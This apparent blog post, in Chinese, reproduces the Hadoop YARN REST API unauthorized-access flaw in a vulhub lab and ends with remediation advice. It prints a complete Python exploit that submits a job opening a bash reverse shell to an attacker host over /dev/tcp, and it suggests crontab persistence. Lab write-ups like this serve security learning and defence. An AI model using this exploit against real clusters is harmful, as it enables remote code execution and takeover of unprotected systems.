Hadoop Yarn REST API未授权漏洞复现
Hadoop是一个由Apache基金会所开发的分布式系统基础架构,YARN是hadoop系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上,YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访问的问题。
我还是用的vulhub的环境,但为了避免漏洞本身8088被扫描攻击,我就改到了其他端口。
由于未授权访问,打开即跳转到了管理界面。同样的也可以调用api来访问,这里我们先测试一下。
- 申请新的application
curl ‘http://zgao.site:1600/ws/v1/cluster/apps/new-application’ -X POST
得到这样的返回表明是成功的。
- 构造并提交任务
这里我们直接看vulhub提供的exp。
#!/usr/bin/env python import requests target = 'http://127.0.0.1:8088/' lhost = '192.168.0.1' # put your local host ip here, and listen at port 9999 url = target + 'ws/v1/cluster/apps/new-application' resp = requests.post(url) app_id = resp.json()['application-id'] url = target + 'ws/v1/cluster/apps' data = { 'application-id': app_id, 'application-name': 'get-shell', 'am-container-spec': { 'commands': { 'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost, }, }, 'application-type': 'YARN', } requests.post(url, json=data)
分析该exp发现,发起了两次请求,第一次申请新的application的id,第二次post我们的payload完成命令反弹shell。
我们就利用该exp进行测试,我们在两台vps上进行测试。
同理其他命令执行当然也不会有问题,或者是写入crontab计划任务不断反弹shell。
同时在我们的web界面刷新也能看到提交的任务。
当然该漏洞简单,同时这种未授权访问的危害也比较大,所以网上也有很多关于Hadoop 未授权漏洞导致的挖矿木马,黑灰产一直都是紧盯着这一块的,一堆exp在网上无时无刻地在扫描。
修复建议:
- 如无必要,关闭Hadoop Web管理页面;
- 开启服务级别身份验证,如Kerberos认证;
- 部署Knox、Nginx之类的反向代理系统,防止未经授权用户访问;
- 设置“安全组”访问控制策略,将Hadoop默认开放的多个端口对公网全部禁止或限制可信任的IP地址才能访问包括50070以及WebUI等相关端口
其实对于这类未授权访问漏洞往往都是配置上出现的问题,利用难度也不大,所以也是黑灰产最青睐的。
赞赏微信赞赏支付宝赞赏
发表评论